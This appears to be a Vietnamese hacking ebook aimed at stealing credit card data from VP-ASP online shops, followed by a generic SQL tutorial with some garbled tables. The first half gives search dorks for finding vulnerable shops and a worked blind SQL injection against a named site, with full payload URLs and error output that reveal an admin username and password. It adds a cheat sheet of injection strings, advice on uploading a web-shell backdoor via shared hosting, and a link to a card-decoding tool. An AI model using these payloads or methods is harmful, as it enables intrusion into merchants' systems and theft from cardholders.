



-----+++-----



Ebook Hacking Credit Card Version 2 – Lastest And The End.

Hack chỉ là để học hỏi và trao dồi kĩ năng bảo mật.

Title : Credit Card Should Stop

=====

Author: hieupc

Email: hieupc@gmail.com

Yahoo: hieuitpc@yahoo.com

Website: <http://thegioiebook.com>

=====

Sau khi hieupc hoàn thành phiên bản 1, hieupc cũng đã nghĩ ngay đến phiên bản 2 của Ebook Hacking Credit Card. Và phiên bản Ebook mới này sẽ hoàn thiện và lấp đi những thiếu sót tồn tại ở Ebook cũ.

Tutorial đáng chú ý nhất trong Ebook này.

Hacking Credit Card – Sql Blind V.1 (Power by Tieuquainho)

Có một bài viết nằm trong Ebook Hacking Credit Card version 1, có cách hack giống cách này nhưng có vẻ đây là bài viết đầy đủ nhất.

Xin giới thiệu sơ qua SQL Blind :

- Đây là hình thức khai thác dựa vào lỗ hổng bảo mật của MSSQL, dựa vào lỗ hổng này chúng ta áp dụng những đoạn mã để khai thác và tìm kiếm được thông tin từ Database của Server đó. SQL Blind là kiểu khai thác dò tìm từng ký tự, khi các bạn đã sử dụng đa số các thao tác kỹ thuật hack SQL khác mà không thành công thì có thể tạm nói SQL Blind này có thể khai thông những bế tắc đó, tuy nhiên bên mặt tốt luôn có mặt không tốt đó là quá trình truy vấn SQL Blind tốn rất nhiều thời gian và công sức bởi vì các bạn phải tìm từng ký tự một trong chuỗi cần tìm . VD: tìm link admin thì các bạn phải tìm từng chữ trong chuỗi Database về link admin và ghép chúng lại thành 1 chuỗi. Nói nhiều các bạn rồi thôi làm liền cho chắc dễ hiểu.

Chuẩn bị :

- Trình duyệt Web Opera, Mozilla Firefor v1.3 hoặc loại khác Internet Explorer là ok.

Không nên xài Internet Explorer để Hack (^|)

- 1 ly nước và 1 cái khăn lau mặt để chữa cháy & lau mồ hôi.

Mục tiêu:

- Tất cả các Phiên bản từ 5.0 trở về trước của VP-ASP (loại shop tương đối nhiều lỗi và nhiều cc chết (^|))

- Các Tìm những Shop VP-ASP này thì có thể tham khảo những từ khóa bên dưới dùng cho việc search trên Google, Yahoo ... một site tìm kiếm bất kì nào đó.

- Từ Khóa :

- + shopdisplayproducts.asp?id

- + shopaddtocart.asp?catalogid=

- Tôi chỉ đưa ra 2 từ khóa đó bởi vì nó là những mục tiêu chính giúp 1 trang tìm kiếm có thể tìm ra được VP-ASP.

Chúng ta bắt đầu hack 1 site demo nha

Mục tiêu là hxxps://circleathletics.com/ (sử dụng VP-ASP V5.0)

- đầu tiên chúng ta tìm link admin của site này

-

```
hxxps://circleathletics.com/shop/shopaddtocart.asp?catalogid=6%20or%201=(select%20fieldname%20from%20configuration%20where%20left(fieldname,10)='xadminpage'%20and%20left(fieldvalue,1)='a')
```

Microsoft VBScript runtime error '800a000d'

Type mismatch: 'cLng'

/shop/shopproductfeatures.asp, line 139

Như vậy có nghĩa là từ khóa chúng ta đưa ra (a) không phải là ký tự đầu tiên trong chuỗi link admin, chúng ta chợt suy nghĩ đến link admin thường là shopadmin.asp ... thử với câu lệnh sau thay chữ a = s

-

```
hxxps://circleathletics.com/shop/shopaddtocart.asp?catalogid=6%20or%201=(select%20fieldname%20from%20configuration%20where%20left(fieldname,10)='xadminpage'%20and%20left(fieldvalue,1)='s')
```

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the varchar value 'xadminpage' to a column of data type int.

/shop/shop\$db.asp, line 409

- Chính xác là chữ S là ký tự đầu tiên của link admin rồi, chúng ta tiếp tục thử những chữ khác và tiếp theo

-

```
hxxps://circleathletics.com/shop/shopaddtocart.asp?catalogid=6%20or%201=(select%20fieldname%20from%20configuration%20where%20left(fieldname,10)='xadminpage'%20and%20left(fieldvalue,2)='sh')
```

- Chú ý chỗ này nha (fieldvalue,2)='sh')

- Cứ tiếp tục thay tiếp vào để tìm ra link admin. Link admin kết thúc = .asp nên không cần tìm xem chuỗi ký tự có bao nhiêu ký tự đâu

Tiếp theo chúng ta tìm user + pass admin

```
hxxps://circleathletics.com/shop/shopaddtocart.asp?catalogid=6%20or%201=(select%20fieldusername%20from%20tbluser%20where%20admintype='super'%20and%20left(fieldusername,1)='a')
```

Microsoft VBScript runtime error '800a000d'

Type mismatch: 'cLng'

/shop/shopproductfeatures.asp, line 139

Ko có gì hết tiếp tục như thế

```
hxxps://circleathletics.com/shop/shopaddtocart.asp?catalogid=6%20or%201=(select%20fieldusername%20from%20tbluser%20where%20admintype='super'%20and%20left(fieldusername,1)='c')
```

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the varchar value 'circ54' to a column of data type int.

/shop/shop\$db.asp, line 409

Hiện luôn User ra luôn site này bị lỗi nặng nếu những site khác các bạn động não 1 tí như khi tìm link admin là ok hihi

```
hxxps://circleathletics.com/shop/shopaddtocart.asp?catalogid=6%20or%201=(select%20f
```

ldusername%20from%20tbluser%20where%20admintype='super'%20and%20left(flduser
name,2)='ab')

đây là cách tìm ký tự thứ 2 , thứ 3 thì thêm vào (fldusername,3)='abc') đây đó dễ mà.

Chúng ta đã có user admin ở trên rồi circ54 tìm pass của nó

hxxps://circleathletics.com/shop/shopaddtocart.asp?catalogid=6%20or%201=(select%20f
ldpassword%20from%20tbluser%20where%20fldusername='circ54'%20and%20left(fldp
assword,1)='a')

Microsoft VBScript runtime error '800a000d'

Type mismatch: 'cLng'

/shop/shopproductfeatures.asp, line 13

hxxps://circleathletics.com/shop/shopaddtocart.asp?catalogid=6%20or%201=(select%20f
ldpassword%20from%20tbluser%20where%20fldusername='circ54'%20and%20left(fldp
assword,1)='2')

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the varchar value '2005HCP' to a column of data type int.

/shop/shop\$db.asp, line 409

Vậy là đã hack được thằng này rồi hihi quá dễ phải không các bạn

Hy vọng các bạn hiểu mình viết vụng lắm mong mọi người thông cảm

Còn đây là 1 số tham khảo thêm

*****(** Ti`m link admin *****

%20or%201=(select%20fieldname%20from%20configuration%20where%20left(fieldna
me,10)='xadminpage'%20and%20left(fieldvalue,1)='a') <=== Doan kí tự đầu

%20or%201=(select%20fieldname%20from%20configuration%20where%20left(fieldna
me,10)='xadminpage'%20and%20left(fieldvalue,1)='a'%20and%20len(fieldvalue)=15)
<=== Tìm số kí tự .

***** Ti`m user *****

%20or 1=(select fldusername from tbluser where admintype='super' and
left(fldusername,1)='a') <=== Kí tự đầu

%20or 1=(select fldusername from tbluser where admintype='super' and
left(fldusername,2)='ab') <=== Tìm chủ~ thứ 2 - thứ 3 thì thế = số 3 và mô` tiếp

%20or 1=(select fldusername from tbluser where left(fldusername,1)='b' and
len(fldusername)=3) <=== Số kí tự của user

o%20r 1=(select fldusername from tbluser where left(fldusername,1)='a') When not
superAdmin

***** Ti`m pass *****

%20or 1=(select fldpassword from tbluser where fldusername='blue42jh' and left(fldpassword,1)='a') <== Ki tu dau

%20or 1=(select fldpassword from tbluser where left(fldpassword,1)='b' and len(fldpassword)=3) <== So ki tu

Hacking Password thứ 2 của shop (Nghiên cứu của nobita và hieupc)

Bài viết của nobita:

Anh em xem trước code của cái trang login 2 pass:

```
<!--#include file="shop$db.asp"-->
<%
[COLOR=red]const SecondPassword="[COLOR=blue]password2[/COLOR]"
const Secondpasswordmsg="Second password does not match"[/COLOR]
*****
' Shop administration only VP-ASP Shopping Cart
' Forces user to login
' asked for userid and password
' Goes to shopadmin1.asp
' Version 4.50
' September 7, 2002
*****
SetSess "ShopAdmin", ""
SetSess "INIT", ""
Dim myconn
Dim rs
Dim username,userpassword
msg=""
dim rc
'on error resume next
If Request("Submit")<>"" Then
    shopinit
    SetSess "Login","Force"
    ShopOpenDatabase myconn
    If GetSess("Login")="Force" then
        SetSess "Login", ""
    end if
    username=request("Username")
    userpassword=request("password")
    username=replace(username,"","")
    userpassword=replace(userpassword,"","")
    if ucase(Username)<>"SUPPLIER" then
        sql = "select * from tbluser where fldusername=" & username & " and
```

```

fldpassword="" & userpassword & ""
Set rs = myconn.Execute(SQL)
if not rs.eof then
    CheckSecondpassword rc
    If rc=0 then
        GetAdminData rs
    else
        closerecordset rs
        shopclosedatabase myconn
        msg=Secondpasswordmsg & "<br>"
    end if
else
    rs.close
    set rs=nothing
    LocateSupplier
end if
if msg="" then
    msg=LangAdmin01 & "<br>"
end if
Shopclosedatabase myconn
else
    msg=LangAdmin01 & "<br>"
    Shopclosedatabase myconn
end if
end if
AdminPageHeader
if msg <> "" Then
    response.write getconfig("xfont") & msg & "</font>"
end if
%>
<form action="<%=getconfig("xadminpage")%>" method="post" name="LoginForm">
<center><font face=arial size=2
color="#0080C0"><b><%=LangAdmin02%></b></font></center><br>
<TABLE WIDTH=300 BORDER=1 CELLPADDING=3 CELLSPACING=0
align="center" bordercolordark="#333399" bordercolorlight="#666699">
<TR>
<TD BGCOLOR="#0080C0" COLSPAN=2 ALIGN=LEFT VALIGN=TOP>
<font face="Arial, Helvetica" SIZE=2
color=white><B><%=LangAdmin03%></B></FONT></TD>
</TR>
<TR>
<TD WIDTH=50 ALIGN=LEFT VALIGN=Middle><font face="Arial, Helvetica"
SIZE=2><B><%=LangAdminUserName%></B></FONT></TD>
<TD ALIGN=LEFT VALIGN=TOP>
<font face="Arial, Helvetica"><INPUT TYPE=TEXT NAME="UserName"
VALUE="<%=Request("UserName") %>"></font></TD>
</TR>
<TR>
<TD WIDTH=50 ALIGN=LEFT VALIGN=Middle><font face="Arial, Helvetica"
SIZE=2><B><%=LangAdminPassword%></B></FONT></TD>
<TD ALIGN=LEFT VALIGN=TOP><font face="Arial, Helvetica"><INPUT
TYPE=PASSWORD NAME="Password"></font></td></TR>

```

```

<%
If Secondpassword<>" " then
%>
<tr>
<TD WIDTH=50 ALIGN=LEFT VALIGN=Middle><font face="Arial, Helvetica"
SIZE=2><B><%=LangAdminPassword & "2"%></B></FONT></TD>
<TD ALIGN=LEFT VALIGN=TOP><font face="Arial, Helvetica"><INPUT
TYPE=PASSWORD NAME="Password2"></font></td></TR>
<%end if %>
<tr>
<td></td>
<td><font face="Arial, Helvetica"><INPUT TYPE=SUBMIT
VALUE="<%=LangAdminLogin%>" name="Submit"></font></TD>
</tr>
</TABLE>
</form>
</center>
</BODY>
</HTML>
<%
Sub GetAdminData (rs)
setsess "shopadmin" ,rs("fldusername")
if isnull(rs("Admintype")) then
    SetSess "admintype","SUPER"
else
    setsess "admintype",ucase(rs("admintype"))
end if
setsess "login" , rs("fldusername")
setsess "usertables",rs("tablesallowed")
setsess "adminmenus",rs("fldaccess")
rs.close
set rs=nothing
LogUser GetSess("ShopAdmin"), "in", myconn
SetSess("Supplierid")," "
Shopclosedatabase myconn
CheckSecurity (userpassword)
Response.redirect "shopadmin1.asp"
end sub

```

```

Sub LocateSupplier
If getconfig("xAllowSupplierlogin")<>"Yes" then exit sub
sql = "select * from suppliers where supplieruserid=" & username & " and
supplierpassword=" & userpassword & " "
Set rs = myconn.Execute(SQL)
If err.number>0 then
    msg="database Open error<br>" & GetSess("Openererror")
else
    If Not rs.EOF Then
setsess "shopadmin" ,request("username")
        setsess "admintype","supplier"
        setsess "login" , rs("supplieruserid")
        setsess("supplierid"),rs("supplierid")
    End If
End Sub

```

```

        rs.close
        set rs=nothing
        GetUserTables
        ' setsess "usertables",rs("tablesallowed")
LogUser GetSess("ShopAdmin"), "in", myconn
        Shopclosedatabase myconn
        response.redirect "shopadmin1.asp"
    else
        rs.close
        set rs=nothing
    end if
end if
end sub

```

```

Sub GetUserTables
dim rs
sql = "select * from tbluser where fldusername='supplier'"
Set rs = myconn.Execute(SQL)
if err.number>0 then
    msg="database Open error<br>" & GetSess("Openerror")
else
    If Not rs.EOF Then
        setsess "usertables",rs("tablesallowed")
        setsess "adminmenus",rs("fldaccess")
    end if
end if
rs.close
set rs=nothing
end sub

```

```

Sub Checksecurity (ipassword)
dim tpassword
tpassword=ucase(ipassword)
if tpassword="VPASP" or tpassword="ADMIN" then
    setsess "security","Yes"
end if
end sub

```

```

*****
' if using second password facility, the validate it
*****

```

```

Sub CheckSecondPassword(rc)
dim password
rc=4
If secondpassword="" then
    rc=0
    exit sub
end if
password=request.form("password2")
if password="" then exit sub
if ucase(password)<>ucase(secondpassword) then exit sub
rc=0
end sub

```

%>

Chú ý chỗ chữ đỏ và xanh, đây là nơi đặt cái pass thứ 2 của shop VPASP. Lúc trước nobita còn có suy luận rằng cái pass 2 này được thằng VPASP fix và nó nằm trong database của shop, nhưng cái này không đúng. Từ cách đặt pass 2 thế này, nobita nghĩ rằng việc làm pass 2 này có thể do thằng webmaster nó edit theo hướng dẫn của VPASP. Cách đặt pass ở các vị trí có thể khác nhau chẳng hạn:

CODE

```
<!--#include file="shop$db.asp"-->  
<!--#include file="pass2.asp"-->  
<%
```

trong đây file pass2 chứa password thứ 2

hoặc chỉ đường dẫn của password thứ 2 nằm đâu đó trong cái đồng database của shop mà info của nó không thay đổi, tạo 1 table riêng chứa pass2 chẳng hạn .

Ngoài những cách đặt pass2 cơ bản này thì cách làm cũng đa dạng tùy thuộc vào trình độ của các webmaster

Tuy nhiên trong thời gian vừa qua, có 1 số anh em cho rằng có code để khai thác pass2, nhưng thực chất là dò tìm trong database các table lạ, nhiều khả năng chứa info pass2, ví dụ:

CODE

affiliates

categories

configuration

coupons

customerprices

customers

dtproperties

gifts

mycompany

oitems

orders

ordertracking

prodcategories

prodfeatures

products

projects

quantitydiscounts

registrant

registryitems

reviews

searchresults

shipmethods

pass_access

suppliers

tblaccess

tbllog

tbluser

CHECK_CONSTRAINTS

COLUMN_DOMAIN_USAGE

COLUMN_PRIVILEGES

COLUMNS

CONSTRAINT_COLUMN_USAGE

CONSTRAINT_TABLE_USAGE

DOMAIN_CONSTRAINTS

DOMAINS

KEY_COLUMN_USAGE

REFERENTIAL_CONSTRAINTS

SCHEMATA

TABLE_CONSTRAINTS

TABLE_PRIVILEGES

TABLES

VIEW_COLUMN_USAGE

VIEW_TABLE_USAGE

VIEWS

Và cách tìm kiếm này tốn rất nhiều công sức, vì phải tìm đầy đủ các table của nó, mà với kiểu hack hiện nay thì là đoán mò table, hoặc blind từng ký tự của table. Ngồi cả ngày chưa chắc đã ra 1 shop. Tuy nhiên đến nay nobita cũng chưa tìm được giải pháp nào tốt hơn cho loại này.

Mong rằng qua bài viết này sẽ giúp anh em tìm kiếm pass2 được tốt hơn.

Bài viết của hieupc:

Theo kinh nghiệm của hieupc biết được, muốn hack được password thứ 2 của shop (Secure Pass) thì chỉ có cách hack local là nhanh và gọn nhất, ngoài cách hack local này bạn có thể dựa theo bài viết kinh nghiệm của nobita để mà lấy được pass 2. Có vẻ việc hack local trở nên rất dễ khi bạn có một host trong tay, và chỉ cần upload 1 con backdoor lên chẳng hạn như con remview.php là có thể hack. Tuy nhiên việc này đòi hỏi bạn phải có kiến thức vững về Hosting và DNS. Bạn muốn biết được shop đó nằm ở server nào bạn có thể check DNS hoặc IP để định vị, và từ đó bạn lần theo đó mà đăng kí cho mình 1 host cùng host với shop bạn cần lấy pass 2. Còn việc hack local và check DNS thế nào hay hiểu rõ thêm về host các bạn có thể ghé thăm các trang sau đây để được hướng dẫn cụ thể: <http://viethacker.org>, <http://hvaonline.net> và check DNS, kiểm tra thông tin bạn: <http://pavietnam.net>, <http://checkdomain.com>, <http://whoisc.com>, <http://check-dns.com>. Ngoài ra, còn nhiều trang web khác, bạn có thể lên google.com search.

Remview.php : http://php.spb.ru/remview/remview_2003_10_23.zip

Ngoài ra còn nhiều Mshell, Backdoor khác có thể kiếm trên google.com hoặc qua trang <http://viethacker.org>

Decode CC bị mã hóa: <http://rapidshare.de/files/8343810/decodecc.rar.html> (pass unrar : thegioiebook.com)

Những bài cần phải đọc để nắm vững kiến thức Hacking Credit Card.

- Giới thiệu về SQL.

Nguồn từ diendantinhoc.net

~~~~~

SQL là chuẩn ngôn ngữ ANSI để truy cập CSDL.

SQL là gì?

SQL là viết tắt của Structured Query Language - Ngôn ngữ truy vấn cấu trúc.

SQL cho phép bạn truy cập vào CSDL.

SQL là một chuẩn ngôn ngữ của ANSI.

SQL có thể thực thi các câu truy vấn trên CSDL.

SQL có thể lấy dữ liệu từ CSDL.

SQL có thể chèn dữ liệu mới vào CSDL.

SQL có thể xóa dữ liệu trong CSDL.

SQL có thể sửa đổi dữ liệu hiện có trong CSDL.

SQL dễ học :-)

SQL là một chuẩn

SQL là một chuẩn của ANSI (American National Standards Institute - Viện tiêu chuẩn quốc gia Hoa kỳ) về truy xuất các hệ thống CSDL. Các câu lệnh SQL được sử dụng để truy xuất và cập nhật dữ liệu trong một CSDL.

SQL hoạt động với hầu hết các chương trình CSDL như MS Access, DB2, Informix, MS SQL Server, Oracle, Sybase v.v...

Lưu ý: Hầu hết các chương trình CSDL hỗ trợ SQL đều có phần mở rộng cho SQL chỉ hoạt động với chính chương trình đó.

Bảng CSDL

Một CSDL thường bao gồm một hoặc nhiều bảng (table). Mỗi bảng được xác định thông qua một tên (ví dụ Customers hoặc Orders). Bảng chứa các mẫu tin - dòng (record - row),

là dữ liệu của bảng.

Dưới đây là một ví dụ về một bảng có tên là Persons (người):

| LastName  | FirstName | Address      | City      |
|-----------|-----------|--------------|-----------|
| Hansen    | Ola       | Timoteivn 10 | Sandnes   |
| Svendson  | Tove      | Borgvn 23    | Sandnes   |
| Pettersen | Kari      | Storgt 20    | Stavanger |

Bảng ở trên bao gồm 3 mẫu tin (dòng), mỗi mẫu tin tương ứng với một người, và bốn cột (LastName, FirstName, Address và City).

Câu truy vấn SQL

Với SQL ta có thể truy vấn CSDL và nhận lấy kết quả trả về thông qua các câu truy vấn.

Một câu truy vấn như sau:

```
SELECT LastName FROM Persons
```

Sẽ trả về kết quả như sau:

|           |
|-----------|
| LastName  |
| Hansen    |
| Svendson  |
| Pettersen |

Lưu ý: Một số hệ thống CSDL đòi hỏi câu lệnh SQL phải kết thúc bằng một dấu chấm phẩy (;). Chúng ta sẽ không dùng dấu chấm phẩy trong bài viết này.

SQL là ngôn ngữ thao tác dữ liệu (DML - Data Manipulation Language)

SQL là cú pháp để thực thi các câu truy vấn. SQL cũng bao gồm cú pháp để cập nhật -

sửa đổi, chèn thêm và xoá các mẫu tin.

Sau đây là danh sách các lệnh và truy vấn dạng DML của SQL:

SELECT - lấy dữ liệu từ một bảng CSDL.

UPDATE - cập nhật/sửa đổi dữ liệu trong bảng.

DELETE - xoá dữ liệu trong bảng.

INSERT INTO - thêm dữ liệu mới vào bảng.

SQL là ngôn ngữ định nghĩa dữ liệu (DDL - Data Definition Language)

Phần DDL của SQL cho phép tạo ra hoặc xoá các bảng. Chúng ta cũng có thể định nghĩa các khoá (key), chỉ mục (index), chỉ định các liên kết giữa các bảng và thiết lập các quan hệ ràng buộc giữa các bảng trong CSDL.

Các lệnh DDL quan trọng nhất của SQL là:

CREATE TABLE - tạo ra một bảng mới.

ALTER TABLE - thay đổi cấu trúc của bảng.

DROP TABLE - xoá một bảng.

CREATE INDEX - tạo chỉ mục (khóa để tìm kiếm - search key).

DROP INDEX - xoá chỉ mục đã được tạo.

### **-Câu lệnh SELECT**

Câu lệnh SELECT được dùng để truy xuất dữ liệu từ một bảng. Kết quả trả về dưới dạng bảng được lưu trong 1 bảng, gọi là bảng kết quả - result table (còn được gọi là tập kết quả - result set).

Cú pháp

Cú pháp của câu lệnh SELECT như sau:

```
SELECT tên_các_cột  
FROM tên_bảng
```

Truy xuất nhiều cột

Để truy xuất các cột mang tên LastName và FirstName, ta dùng một câu lệnh SELECT như sau:

```
SELECT LastName, FirstName FROM Persons
```

Bảng Persons:

| LastName  | FirstName | Address      | City      |
|-----------|-----------|--------------|-----------|
| Hansen    | Ola       | Timoteivn 10 | Sandnes   |
| Svendson  | Tove      | Borgvn 23    | Sandnes   |
| Pettersen | Kari      | Storgt 20    | Stavanger |

Kết quả trả về:

| LastName  | FirstName |
|-----------|-----------|
| Hansen    | Ola       |
| Svendson  | Tove      |
| Pettersen | Kari      |

Truy xuất tất cả các cột

Để truy xuất tất cả các cột từ bảng Persons, ta dùng ký hiệu \* thay cho danh sách các cột:

```
SELECT * FROM Persons
```

Kết quả trả về:

| LastName | FirstName | Address | City |
|----------|-----------|---------|------|
|----------|-----------|---------|------|

Hansen - Ola -Timoteivn 10 - Sandnes

Svendson - Tove -Borgvn 23 - Sandnes

Pettersen -Kari -Storgt 20 -Stavanger

### Tập kết quả

Kết quả trả về từ một câu truy vấn SQL được lưu trong 1 tập kết quả (result set). Hầu hết các hệ thống chương trình CSDL cho phép duyệt qua tập kết quả bằng các hàm lập trình như Move-To-First-Record, Get-Record-Content, Move-To-Next-Record v.v...

### Dấu chấm phẩy (;) phía sau câu lệnh

Dấu chấm phẩy là một cách chuẩn để phân cách các câu lệnh SQL nếu như hệ thống CSDL cho phép nhiều câu lệnh SQL được thực thi thông qua một lời gọi duy nhất.

Các câu lệnh SQL trong bài viết này đều là các câu lệnh đơn (mỗi câu lệnh là một và chỉ một lệnh SQL). MS Access và MS SQL Server không đòi hỏi phải có dấu chấm phẩy ngay sau mỗi câu lệnh SQL, nhưng một số chương trình CSDL khác có thể bắt buộc bạn phải thêm dấu chấm phẩy sau mỗi câu lệnh SQL (cho dù đó là câu lệnh đơn). Xin nhắc lại, trong bài viết này chúng ta sẽ không dùng dấu chấm phẩy ở cuối câu lệnh SQL.

### **-Mệnh đề WHERE**

Để truy xuất dữ liệu trong bảng theo các điều kiện nào đó, một mệnh đề WHERE có thể được thêm vào câu lệnh SELECT.

### Cú pháp

Cú pháp mệnh đề WHERE trong câu lệnh SELECT như sau:

```
SELECT tên_cột FROM tên_bảng  
WHERE tên_cột phép_toán giá_trị
```

Trong mệnh đề WHERE, các phép toán được sử dụng là

Phép toán Mô tả

= So sánh bằng

<> So sánh không bằng

> Lớn hơn

< Nhỏ hơn

>= Lớn hơn hoặc bằng

<= Nhỏ hơn hoặc bằng

BETWEEN Nằm giữa một khoảng

LIKE So sánh mẫu chuỗi

Lưu ý: Trong một số phiên bản của SQL, phép toán <> có thể được viết dưới dạng !=

Sử dụng mệnh đề WHERE

Để lấy danh sách những người sống ở thành phố Sandnes, ta sử dụng mệnh đề WHERE trong câu lệnh SELECT như sau:

```
SELECT * FROM Persons
```

```
WHERE City = 'Sandnes'
```

Bảng Persons:

| LastName | FirstName | Address | City | Year |
|----------|-----------|---------|------|------|
|----------|-----------|---------|------|------|

-----

**-AND và OR**

Hai toán tử AND và OR nối hai hoặc nhiều điều kiện trong mệnh đề WHERE lại với nhau.

Toán tử AND sẽ hiển thị 1 dòng nếu TẤT CẢ các điều kiện đều thoả mãn. Toán tử OR



hiển thị một dòng nếu BẤT KỲ điều kiện nào được thoả.

Bảng dữ liệu dùng trong ví dụ

| LastName | FirstName | Address   | City       |
|----------|-----------|-----------|------------|
| Hansen   | Ola       | Timoteivn | 10 Sandnes |
| Svendson | Tove      | Borgvn    | 23 Sandnes |
| Svendson | Stephen   | Kaivn     | 18 Sandnes |

Ví dụ 1

Sử dụng AND để tìm những người có tên là Tove và họ là Svendson:

```
SELECT * FROM Persons
WHERE FirstName = 'Tove'
AND LastName = 'Svendson'
```

Kết quả trả về:

| LastName | FirstName | Address | City       |
|----------|-----------|---------|------------|
| Svendson | Tove      | Borgvn  | 23 Sandnes |

Ví dụ 2

Sử dụng OR để tìm những người có tên là Tove hoặc họ là Svendson:

```
SELECT * FROM Persons
WHERE firstname = 'Tove'
OR lastname = 'Svendson'
```

Kết quả trả về:

| LastName | FirstName | Address | City       |
|----------|-----------|---------|------------|
| Svendson | Tove      | Borgvn  | 23 Sandnes |
| Svendson | Stephen   | Kaivn   | 18 Sandnes |

### Ví dụ 3

Bạn cũng có thể sử dụng kết hợp AND và OR cùng với dấu ngoặc đơn để tạo nên các câu truy vấn phức tạp:

```
SELECT * FROM Persons WHERE  
(FirstName = 'Tove' OR FirstName = 'Stephen')  
AND LastName = 'Svendson'
```

Kết quả trả về:

| LastName | FirstName | Address   | City    |
|----------|-----------|-----------|---------|
| Svendson | Tove      | Borgvn 23 | Sandnes |
| Svendson | Stephen   | Kaivn 18  | Sandnes |

|           |       |              |           |      |
|-----------|-------|--------------|-----------|------|
| Hansen    | Ola   | Timoteivn 10 | Sandnes   | 1951 |
| Svendson  | Tove  | Borgvn 23    | Sandnes   | 1978 |
| Svendson  | Stale | Kaivn 18     | Sandnes   | 1980 |
| Pettersen | Kari  | Storgt 20    | Stavanger | 1960 |

Kết quả trả về:

| LastName | FirstName | Address      | City    | Year |
|----------|-----------|--------------|---------|------|
| Hansen   | Ola       | Timoteivn 10 | Sandnes | 1951 |
| Svendson | Tove      | Borgvn 23    | Sandnes | 1978 |
| Svendson | Stale     | Kaivn 18     | Sandnes | 1980 |

Sử dụng dấu nháy

Lưu ý rằng ở ví dụ trên ta đã sử dụng hai dấu nháy đơn (') bao quanh giá trị điều kiện 'Sandnes'.

SQL sử dụng dấu nháy đơn bao quanh các giá trị ở dạng chuỗi văn bản (text). Nhiều hệ CSDL còn cho phép sử dụng dấu nháy kép ("). Các giá trị ở dạng số không dùng dấu nháy để bao quanh.

Với dữ liệu dạng chuỗi văn bản:

Câu lệnh đúng:

```
SELECT * FROM Persons WHERE FirstName = 'Tove'
```

Câu lệnh sai:

```
SELECT * FROM Persons WHERE FirstName = Tove
```

Với dữ liệu dạng số:

Câu lệnh đúng:

```
SELECT * FROM Persons WHERE Year > 1965
```

Câu lệnh sai:

```
SELECT * FROM Persons WHERE Year > '1965'
```

Phép toán điều kiện LIKE

Phép toán LIKE được dùng để tìm kiếm một chuỗi mẫu văn bản trên một cột.

Cú pháp

Cú pháp của phép toán LIKE như sau:

```
SELECT tên_cột FROM tên_bảng  
WHERE tên_cột LIKE mẫu
```

Một ký hiệu % có thể được sử dụng để định nghĩa các ký tự đại diện. % có thể được đặt

trước và/hoặc sau mẫu.

Sử dụng LIKE

Câu lệnh SQL sau sẽ trả về danh sách những người có tên bắt đầu bằng chữ O:

```
SELECT * FROM Persons  
WHERE FirstName LIKE 'O%'
```

Câu lệnh SQL sau sẽ trả về danh sách những người có tên kết thúc bằng chữ a:

```
SELECT * FROM Persons  
WHERE FirstName LIKE '%a'
```

Câu lệnh SQL sau sẽ trả về danh sách những người có tên kết chứa chuỗi la:

```
SELECT * FROM Persons  
WHERE FirstName LIKE '%la%'
```

**Toán tử BETWEEN...AND**

lấy ra một miền dữ liệu nằm giữa hai giá trị. Hai giá trị này có thể là số, chuỗi văn bản hoặc ngày tháng.

```
SELECT tên_cột FROM tên_bảng  
WHERE tên_cột  
BETWEEN giá_trị_1 AND giá_trị_2
```

Bảng dữ liệu dùng trong ví dụ

| LastName  | FirstName | Address      | City      |
|-----------|-----------|--------------|-----------|
| Hansen    | Ola       | Timoteivn 10 | Sandnes   |
| Nordmann  | Anna      | Neset 18     | Sandnes   |
| Pettersen | Kari      | Storgt 20    | Stavanger |

### Ví dụ 1

Tìm tất cả những người có họ (sắp xếp theo ABC) nằm giữa Hansen (tính luôn Hansen) và Pettersen (không tính Pettersen):

```
SELECT * FROM Persons WHERE LastName  
BETWEEN 'Hansen' AND 'Pettersen'
```

Kết quả trả về:

| LastName | FirstName | Address      | City    |
|----------|-----------|--------------|---------|
| Hansen   | Ola       | Timoteivn 10 | Sandnes |
| Nordmann | Anna      | Neset 18     | Sandnes |

Lưu ý quan trọng: Toán tử BETWEEN...END sẽ trả về những kết quả khác nhau trên các hệ CSDL khác nhau. Với một số hệ CSDL, toán tử BETWEEN...END sẽ trả về các dòng mà có giá trị thực sự "nằm giữa" hai khoảng giá trị (tức là bỏ qua không tính đến các giá trị trùng với giá trị của hai đầu mút). Một số hệ CSDL thì sẽ tính luôn các giá trị trùng với hai đầu mút. Trong khi đó một số hệ CSDL khác lại chỉ tính các giá trị trùng với đầu mút thứ nhất mà không tính đầu mút thứ hai (như ở ví dụ phía trên). Do vậy, bạn phải kiểm tra lại hệ CSDL mà bạn đang dùng khi sử dụng toán tử BETWEEN...AND.

### Ví dụ 2

Để tìm những người có họ (sắp xếp theo ABC) nằm ngoài khoảng hai giá trị ở ví dụ 1, ta dùng thêm toán tử NOT:

```
SELECT * FROM Persons WHERE LastName  
NOT BETWEEN 'Hansen' AND 'Pettersen'
```

Kết quả trả về:

| LastName  | FirstName | Address   | City      |
|-----------|-----------|-----------|-----------|
| Pettersen | Kari      | Storgt 20 | Stavanger |
| Svendson  | Tove      | Borgvn 23 | Sandnes   |

-----

## Từ khoá DISTINCT

Câu lệnh SELECT sẽ trả về thông tin về các cột trong bảng. Nhưng nếu chúng ta không muốn lấy về các giá trị trùng nhau thì sau?

Với SQL, ta chỉ cần thêm từ khoá DISTINCT vào câu lệnh SELECT theo cú pháp sau:

```
SELECT DISTINCT tên_cột FROM tên_bảng
```

Ví dụ: Tìm tất cả các công ty trong bảng đặt hàng

Bảng đặt hàng của ta như sau:

| Company   | OrderNumber |
|-----------|-------------|
| Sega      | 3412        |
| W3Schools | 2312        |
| Trio      | 4678        |
| W3Schools | 6798        |

Câu lệnh SQL sau:

```
SELECT Company FROM Orders
```

Sẽ trả về kết quả:

| Company |
|---------|
|---------|

Sega

W3Schools

Trio

W3Schools

Tên công ty W3Schools xuất hiện hai lần trong kết quả, đôi khi đây là điều chúng ta không muốn.

Ví dụ: Tìm tất cả các công ty khác nhau trong bảng đặt hàng

Câu lệnh SQL sau:

```
SELECT DISTINCT Company FROM Orders
```

Sẽ trả về kết quả:

Company

Sega

W3Schools

Trio

Tên công ty W3Schools bây giờ chỉ xuất hiện 1 lần, đôi khi đây là điều chúng ta mong muốn

-----

Từ khoá ORDER BY được sử dụng để sắp xếp kết quả trả về.

Sắp xếp các dòng

**Mệnh đề ORDER BY**

được dùng để sắp xếp các dòng.

Ví dụ bảng Orders:

| Company   | OrderNumber |
|-----------|-------------|
